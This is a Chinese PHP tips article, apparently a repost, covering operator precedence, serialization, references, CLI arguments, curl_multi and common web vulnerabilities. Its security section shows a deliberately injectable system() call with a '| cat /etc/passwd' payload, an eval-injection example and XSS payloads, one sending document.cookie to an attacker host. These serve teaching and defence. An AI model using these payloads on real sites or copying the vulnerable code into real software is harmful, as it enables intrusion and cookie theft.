基於PHP編程注意事項的小結

來源:互聯網
上載者:User

1、php隱性的三元操作符(?:)優先順序問題:

例1:

複製代碼 代碼如下: $person = $who or $person = "laruence";

//實際上是等同於:

$person = empty($who)? "laruence" : $who;

例2複製代碼 代碼如下: $arr = array(1=>1,3=>3);
$i = 2;
$a = 'test‘ . isset($arr[$i]) ? $arr[$i] : $i;

$a 是什麼? 這個問題, 咋一看覺得簡單,

$a = ‘test2';

其實仔細推敲後啟動並執行,結果是notice:Undefined index 2..

由於優先順序的問題, 串連符的優先順序比三元操作符高。

首先是判斷 ' test'. isset($arr[$i]) 這個字串永遠是true,因此:

$a = $arr[$i];以致php提示提醒。

2. PHP函數名和類名不區分大小寫,而變數名是區分大小寫。

所以自己寫的php模組,往往是大寫的問題,編譯不通過。

3.系列化傳遞問題

把複雜的資料類型壓縮到一個字串中
serialize() 把變數和它們的值編碼成文本形式
unserialize() 恢複原先變數

複製代碼 代碼如下: $stooges = array('Moe','Larry','Curly');
$new = serialize($stooges);
print_r($new);echo "<br />";
print_r(unserialize($new));
<span style="font-family:Arial;BACKGROUND-COLOR: #ffffff"></span>

結果:a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}
Array ( [0] => Moe [1] => Larry [2] => Curly )
當把這些序列化的資料放在URL中在頁面之間會傳遞時,需要對這些資料調用urlencode(),以確保在其中的URL元字元進行處理:

複製代碼 代碼如下:$shopping = array('Poppy seed bagel' => 2,'Plain Bagel' =>1,'Lox' =>4);
echo '<a href="next.php?cart='.urlencode(serialize($shopping)).'">next</a>';

margic_quotes_gpc和magic_quotes_runtime配置項的設定會影響傳遞到unserialize()中的資料。
如果magic_quotes_gpc項是啟用的,那麼在URL、POST變數以及cookies中傳遞的資料在還原序列化之前必須用stripslashes()進行處理:複製代碼 代碼如下: $new_cart = unserialize(stripslashes($cart)); //如果magic_quotes_gpc開啟
$new_cart = unserialize($cart);

如果magic_quotes_runtime是啟用的,那麼在向檔案中寫入序列化的資料之前必須用addslashes()進行處理,而在讀取它們之前則必須用stripslashes()進行處理:複製代碼 代碼如下:$fp = fopen('/tmp/cart','w');
fputs($fp,addslashes(serialize($a)));
fclose($fp);
//如果magic_quotes_runtime開啟
$new_cat = unserialize(stripslashes(file_get_contents('/tmp/cart')));
//如果magic_quotes_runtime關閉
$new_cat = unserialize(file_get_contents('/tmp/cart'));

在啟用了magic_quotes_runtime的情況下,從資料庫中讀取序列化的資料也必須經過stripslashes()的處理,儲存到資料庫中的序列化資料必須要經過addslashes()的處理,以便能夠適當地儲存。複製代碼 代碼如下: mysql_query("insert into cart(id,data) values(1,'".addslashes(serialize($cart))."')");
$rs = mysql_query('select data from cart where id=1');
$ob = mysql_fetch_object($rs);
//如果magic_quotes_runtime開啟
$new_cart = unserialize(stripslashes($ob->data));
//如果magic_quotes_runtime關閉
$new_cart = unserialize($ob->data);

當對一個對象進行還原序列化操作時,PHP會自動地調用其__wakeUp()方法。這樣就使得對象能夠重建立立起序列化時未能保留的各種狀態。例如:資料庫連接等。

4. 引用注意事項
PHP中引用意味著用不同的名字訪問同一個變數內容,引用不是C的指標(C語言中的指標裡面儲存的是變數的內容,在記憶體中存放的地址),是變數的另外一個別名或者映射。注意在 PHP 中,變數名和變數內容是不一樣的,因此同樣的內容可以有不同的名字。最接近的比喻是 Unix 的檔案名稱和檔案本身――變數名是目錄條目,而變數內容則是檔案本身。引用可以被看作是 Unix 檔案系統中的緊密串連或者wins的捷徑。

1)unset 一個引用,只是斷開了變數名和變數內容之間的綁定。這並不意味著變數內容被銷毀了

例如:不會 unset $b,只是 $a。

複製代碼 代碼如下: <?php

$a = 1 ;
$b =& $a ;
unset ( $a );
echo $b; //輸出:1:

使用unset($a)與$a=null的結果是不一樣的。如果該塊記憶體只有$a一個映射,那麼unset($a)與$a=null等價,該記憶體的引用計數變為0,被自動回收;如果該塊記憶體有$a和$b兩個映射,那麼unset($a)將導致$a=null且$b不變的情況,而$a=null會導致$a=$b=null的情況。
原因:某變數賦值為null,將導致該變數對應的記憶體塊的引用計數直接置為0,被自動回收。

2)PHP引用是採用引用計數、寫時拷貝

很多人誤解Php中的引用跟C當中的指標一樣,事實上並非如此,而且很大差別。C語言中的指標除了在數組傳遞過程中不用顯式申明外,其他都需要使用*進行定義,而php中對於地址的指向(類似指標)功能不是由使用者自己來實現的,是由Zend核心實現的,php中引用採用的是“引用計數、寫時拷貝”的原理,(寫時複製(Copy-on-Write,也縮寫為COW),顧名思義,就是在寫入時才真正複製一份記憶體進行修改。)

就是除非發生寫操作,指向同一個地址的變數或者對象是不會被拷貝的,比如下面的代碼:
$a = array('a','c'...'n');
$b = $a;
如果程式僅執行到這裡,$b和$b是相同的,但是並沒有像C那樣,$a和$b佔用不同的記憶體空間,而是指向了同一塊記憶體,這就是php和c的差別,並不需要寫成$b=&$a才表示$b指向$a的記憶體,zend就已經幫你實現了引用,並且zend會非常智能的幫你去判斷什麼時候該這樣處理,什麼時候不該這樣處理。

如果在後面繼續寫如下代碼,增加一個函數,通過引用的方式傳遞參數,並列印輸出數組大小。

複製代碼 代碼如下: function printArray(&$arr) //引用傳遞
{
print(count($arr));
}
printArray($a);

上面的代碼中,我們通過引用把$a數組傳入printArray()函數,zend引擎會認為printArray()可能會導致對$a的改變,此時就會自動為$b生產一個$a的資料拷貝,重新申請一塊記憶體進行儲存。這就是前面提到的“引用計數、寫時拷貝”概念。

直觀的理解:$a將使用自己原始的記憶體空間,而$b,則會使用新開闢的記憶體空間,而這個空間將使用$a的原始($a或者$b改變之前)內容空間的內容的拷貝,然後做對應的改變。

如果我們把上面的代碼改成下面這樣:

複製代碼 代碼如下: function printArray($arr) //值傳遞
{
print(count($arr));
}
printArray($a);

上面的代碼直接傳遞$a值到printArray()中,此時並不存在引用傳遞,所以沒有出現寫時拷貝。

5. 編碼的問題

程式碼使用utf-8碼,而strlen函數是計算字串的位元組數而不是字元數?
$str = “您好hello”;

echo strlen($str);

結果:ANSI=9 而utf-8=11,utf-8中文字元編碼是3個位元組。要擷取字元數,使用mb_strlen().

6. PHP擷取參數的三種方法

方法一 使用$argc $argv

複製代碼 代碼如下:<?php
if ($argc > 1){
print_r($argv);
}

在命令列下運行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456

運行結果:
# /usr/local/php/bin/php ./getopt.php -f 123 -g 456
Array
(
[0] => ./getopt.php
[1] => -f
[2] => 123
[3] => -g
[4] => 456
)

方法二 使用getopt函數()

複製代碼 代碼如下: $options = "f:g:";
$opts = getopt( $options );
print_r($opts);

在命令列下運行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456
運行結果:
Array
(
[f] => 123
[g] => 456
)

方法三 提示使用者輸入,然後擷取輸入的參數。有點像C語言

複製代碼 代碼如下:fwrite(STDOUT, "Enter your name: ");
$name = trim(fgets(STDIN));
fwrite(STDOUT, "Hello, $name!");

在命令列下運行 /usr/local/php/bin/php ./getopt.php
運行結果
Enter your name: francis
Hello, francis!

7. php的字串即可以當做數組,和c指標字串一樣

複製代碼 代碼如下: <?php
$s = '12345';
$s[$s[0]] = 0;
echo $s;
?>

結果是10345

8. PHP的高效率寫法:

9. PHP的安全性漏洞問題:

針對PHP的網站主要存在下面幾種攻擊方式:

1、命令注入(Command Injection)

PHP中可以使用下列5個函數來執行外部的應用程式或函數 system、exec、passthru、shell_exec、“(與shell_exec功能相同)
如:

複製代碼 代碼如下: <?php
$dir = $_GET["dir"];
if (isset($dir)) {
echo "";
system("ls -al ".$dir);
echo "";
}
?>

我們提交http://www.test.com/ex1.php?dir=| cat /etc/passwd,命令變成了 system("ls -al | cat /etc/passwd"); 我們伺服器使用者資訊被竊看了吧。

2、eval注入(Eval Injection)

eval函數將輸入的字串參數當作PHP程式碼來執行,eval注入一般發生在攻擊者能控制輸入的字串的時候。

複製代碼 代碼如下:$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("\$var = $arg;");
echo "\$var =".$var;
}
?>

當我們提交http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就產生了;

防範命令注入和eval注入的方法

1)、盡量不要執行外部命令。

2)、使用自訂函數或函數庫來替代外部命令的功能,甚至有些伺服器直接禁止使用這些函數。

3)、使用escapeshellarg函數來處理命令參數,esacpeshellarg函數會將任何引起參數或命令結束的字元轉義,單引號“'”,替換成“\'”,雙引號“"”,替換成“\"”,分號“;”替換成“\;”

3、用戶端指令碼攻擊(Script Insertion)

用戶端指令碼植入的攻擊步驟

1)、攻擊者註冊普通使用者後登陸網站

2)、開啟留言頁面,插入攻擊的js代碼

3)、其他使用者登入網站(包括管理員),瀏覽此留言的內容

4)、隱藏在留言內容中的js代碼被執行,攻擊成功

表單輸入一些瀏覽器可以執行的指令碼:

插入 <script>while(1){windows.open();}</script> 無限彈框

插入<script>location.href="http://www.sectop.com";</script> 跳轉釣魚頁面
防止惡意HTML標籤的最好辦法是使用htmlspecailchars或者htmlentities使某些字串轉為html實體。

4、跨網站指令碼攻擊(Cross Site Scripting, XSS)

惡意攻擊者往Web頁面裡插入惡意html代碼,當使用者瀏覽該頁之時,嵌入其中Web裡面的html代碼會被執行,從而達到惡意使用者的特殊目的。

跨站指令碼主要被攻擊者利用來讀取網站使用者的cookies或者其他個人資料,一旦攻擊者得到這些資料,那麼他就可以偽裝成此使用者來登入網站,獲得此使用者的許可權。

跨站指令碼攻擊的一般步驟:

1)、攻擊者以某種方式發送xss的http連結給目標使用者,例如評論表單:

插入<script>document.location= “go.somewhere.bad?cookie=+“this.cookie</script>

或者是連結:

http://w w w.my.site/index.php?user=< script >document.location="http://w w w.atacker.site/get.php?cookie="+document.cookie;< / script >

2)、目標使用者登入此網站,在登陸期間開啟了攻擊者發送的xss連結

3)、網站執行了此xss攻擊指令碼

4)、目標使用者頁面跳轉到攻擊者的網站,攻擊者取得了目標使用者的資訊

5)、攻擊者使用目標使用者的資訊登入網站,完成攻擊

防止惡意HTML標籤的最好辦法還是使用htmlspecailchars或者htmlentities使某些字串轉為html實體。

5、SQL注入攻擊(SQL injection)

SQL注入最有效防禦方式是使用準備語句:

準備語句(也叫預備語句 prepared statements),是一種查詢,先將他們發送到伺服器進行先行編譯和準備,並且在以後的執行這個查詢時告訴它儲存參數的位置。

其優點:

1)對參數值進行轉義。因此不必調用像mysqli::real_escape_string或者將參數放在引號中。

2)當在一個指令碼中多次執行時,預備語句的效能通常好於每次都通過網路發送查詢,當再次執行一個查詢時,只將參數發送到資料庫,這佔用的空間比較少。

1)用PDO(PHP Data Objects ):

複製代碼 代碼如下:PHP PDO::prepare() and execute()

$preparedStatement = $db->prepare('INSERT INTO table (column) VALUES (:column)');

$preparedStatement->execute(array(':column' => $unsafeValue));

2) 使用mysqli:複製代碼 代碼如下: $stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');

$stmt->bind_param('s', $name);

$stmt->execute();

$result = $stmt->get_result();

while ($row = $result->fetch_assoc()) {

// do something with $row

}

6、跨網站偽造要求攻擊(Cross Site Request Forgeries, CSRF)

7、Session 工作階段劫持(Session Hijacking)

8、Session 固定攻擊(Session Fixation)

9、HTTP響應拆分攻擊(HTTP Response Splitting)

10、檔案上傳漏洞(File Upload Attack)

11、目錄穿越漏洞(Directory Traversal)

12、遠程檔案包含攻擊(Remote Inclusion)

13、動態函數注入攻擊(Dynamic Variable Evaluation)

14、URL攻擊(URL attack)

15、表單提交欺騙攻擊(Spoofed Form Submissions)

16、HTTP請求欺騙攻擊(Spoofed HTTP Requests)

幾個重要的php.ini選項:register_globals、、magic_quotes、safe_mode。 這個幾個選項在PHP5.4都將被棄用。

register_globals:

php>=4.2.0,php.ini的register_globals選項的預設值預設為Off,當register_globals

的設定為On時,程式可以接收來自伺服器的各種環境變數,包括表單提交的變數,而且由於PHP不必事先初始設定變數的值,從而導致很大的安全隱患。

要確保禁用 register_globals。如果啟用了 register_globals,就可能做一些粗心的事情,比如使用 $variable 替換同名的 GET 或 POST 字串。通過禁用這個設定,PHP 強迫您在正確的名稱空間中引用正確的變數。要使用來自表單 POST 的變數,應該引用 $_POST['variable']。這樣就不會將這個特定變數誤會成 cookie、會話或 GET 變數。

safe_mode:

安全模式,PHP用來限制文檔的存取、限制環境變數的存取,控制外部程式的執行。啟用安全模式必須設定php.ini中的safe_mode=On

magic_quotes

用來讓php程式的輸入資訊自動轉義,所有的單引號(“'”),雙引號(“"”),反斜線(“\”)和Null 字元(NULL),都自動被加上反斜線進行轉義magic_quotes_gpc=On用來設定magicquotes為On,它會影響HTTP請求的資料(GET、POST、Cookies)程式員也可以使用addslashes來轉義提交的HTTP 要求資料,或者用stripslashes 來刪除轉義。

10. curl多請求並發使用

curl大家一定使用過,但並發使用的情況估計不多。但在某些情況下確實比較有用,比如在同一請求裡面調用多個他方介面,傳統方法我們需要串列請求介面:

file_get_contents('http://a.php');//1秒

file_get_contents('http://b.php');//2秒

file_get_contents('http://c.php');//2秒

那在這裡耗時為5秒,但運營curl的muti方法,我們只需2秒就可請求完畢. 在php的手冊裡面有一段代碼:

複製代碼 代碼如下: $mrc = curl_multi_init();
//發出請求
.......
$active = null;
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK) {
if (curl_multi_select($mh) != -1) {
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
}
//下面是處理請求返回的結果

但如果我有1000個請求,那麼curl批處理將並發1000個請求,顯然是不合理,所以應該要控制一個並發數,並且將剩餘的串連添加到請求隊列裡:
參考:How to use curl_multi() without blocking複製代碼 代碼如下: <?php
$connomains = array(
//2.php自己去些
"http://localhost/2.php?id=1",//sleep(1)秒
"http://localhost/2.php?id=2",//sleep(2)秒
"http://localhost/2.php?id=5",//sleep(5)秒
);

$mh = curl_multi_init();

foreach ($connomains as $i => $url) {
$conn[$i] = curl_init($url);//初始化各個子串連
curl_setopt($conn[$i], CURLOPT_RETURNTRANSFER, 1);//不直接輸出到瀏覽器
curl_multi_add_handle ($mh,$conn[$i]);//加入多處理控制代碼
}

$active = 0;//串連數

do {
do{
//這裡$active會被改寫成當前未處理數
//全部處理成功$active會變成0
$mrc = curl_multi_exec($mh, $active);

//這個迴圈的目的是儘可能的讀寫,直到無法繼續讀寫為止(返回CURLM_OK)
//返回(CURLM_CALL_MULTI_PERFORM)就表示還能繼續向網路讀寫
}while($mrc==CURLM_CALL_MULTI_PERFORM);

//如果一切正常,那麼我們要做一個輪詢,每隔一定時間(預設是1秒)重新請求一次
//這就是curl_multi_select的作用,它在等待過程中,如果有就返回目前可以讀寫的控制代碼計數,以便
//繼續讀寫操作,0則沒有可以讀寫的控制代碼(完成了)
} while ($mrc==CURLM_OK&& $active &&curl_multi_select($mh)!=-1);//直到出錯或者全部讀寫完畢

if ($mrc != CURLM_OK) {
print "Curl multi read error $mrc/n";
}

// retrieve data
foreach ($connomains as $i => $url) {
if (($err = curl_error($conn[$i])) == '') {
$res[$i]=curl_multi_getcontent($conn[$i]);
} else {
print "Curl error on handle $i: $err/n";
}
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
}
curl_multi_close($mh);

print_r($res);
?>

有的人為了省事,這樣寫:

do { curl_multi_exec($mh,$active); } while ($active);

看似也能得到結果,但其實很不嚴謹,並且很浪費cpu,因為這個迴圈會一直在不停的調用,直到所有連結處理完畢,在迴圈裡面加個print 'a' 就可看出效果了。

11、empty使用魔術方法__get判斷對象屬性是否為空白不起作用

Please note that results of empty() when called on non-existing / non-public variables of a class are a bit confusing if using magic method __get (as previously mentioned by nahpeps at gmx dot de). Consider this example:

複製代碼 代碼如下:<?php
class Registry
{
protected $_items = array();
public function __set($key, $value)
{
$this->_items[$key] = $value;
}
public function __get($key)
{
if (isset($this->_items[$key])) {
return $this->_items[$key];
} else {
return null;
}
}
}

$registry = new Registry();
$registry->empty = '';
$registry->notEmpty = 'not empty';

var_dump(empty($registry->notExisting)); // true, so far so good
var_dump(empty($registry->empty)); // true, so far so good
var_dump(empty($registry->notEmpty)); // true, .. say what?
$tmp = $registry->notEmpty;
var_dump(empty($tmp)); // false as expected
?>

12、Linux下命令列執行php檔案的格式必須是unix。

php ./test.php
如果test.php是windos上傳的,其格式可能是dos。
然後運行該命令就報錯:Could not open input file

我們可以在vi中使用:set ff來查看格式:

fileformat=dos

如果是dos格式,那麼就要使用:set ff=unix來設定新格式

再使用:set ff來查看格式,可以看到已經是unix的格式了;

fileformat=unix

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.